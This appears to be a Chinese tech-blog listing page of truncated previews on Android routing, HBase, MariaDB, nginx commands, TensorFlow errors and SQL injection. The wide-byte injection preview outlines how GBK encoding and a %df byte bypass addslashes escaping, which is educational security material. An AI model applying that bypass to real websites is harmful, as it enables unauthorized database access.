    原文地址 Evil Mouth s Blog ARouter Autowired 自动注入 May 31 2020 前言 ARouter 有一个 Autowired 的注解 能自动帮我们赋值一些变量 例如 public class Main
  • HBase 维护--查看HLog和HFile

    查看HLog 看了一些文章 HBase高可靠性是实现了HLog Write ahead Log 机制 那么HLog到底存在哪里了呢 首先去HDFS的 hbase目录查看一下 hadoop fs ls R hbase 可以看到hbase下面有
  • MariaDB数据库服务器

    目录 一 什么是数据库 二 什么是关系型数据库 三 数据库字符集和排序规则是什么 四 常用数据类型 五 Mariadb数据库相关配置案例 一 什么是数据库 数据库 DB 是以一定方式长期存储在计算机硬盘内 能与多个用户共享 具有尽可能小的冗
  • android 自动获取短信,安卓app怎样获取短信验证码自动输入

    这个你要自己写吗 我建议你直接调用短信平台的接口不就可以了吗 短信发送 接口地址 String url http 183 203 28 5 9000 HttpSmsMt 下发时间 String mttime new SimpleDateFo
  • [翻译] ProtoBuf 官方文档(全)

    ProtoBuf CSDN搜索 https so csdn net so search q ProtoBuf t blog u chuifuhuo6864
  • nginx重启命令

    nginx s reload 修改配置后重新加载生效 nginx s reopen 重新打开日志文件 nginx t c path to nginx conf 测试nginx配置文件是否正确 关闭nginx nginx s stop 快速停
  • 解决在Anaconda下安装tensorflow报错的问题 ModuleNotFoundError: No module named ‘tensorflow‘

    解决在Anaconda下安装tensorflow报错的问题 Traceback most recent call last File line 1 in ModuleNotFoundError No module named tensorf
  • 宽字节注入入门详解

    原理 GBK 占用两字节 ASCII占用一字节 PHP中编码为GBK 函数执行添加的是ASCII编码 添加的符号为 MYSQL默认字符集是GBK等宽字节字符集 大家都知道 df 被PHP转义 开启GPC 用addslashes函数 或者ic
  • 第二章-注入漏洞

    第二章 注入漏洞 第一节 SQL注入原理 1 1 SQL注入的原因 语言分类 解释型语言和编译型语言 解释型语言是一种在运行时由一个运行时组件解释语言代码并执行其中包含的指令的语言 而编译型语言是代码在生成时转换为机器指令 然后在运行时直接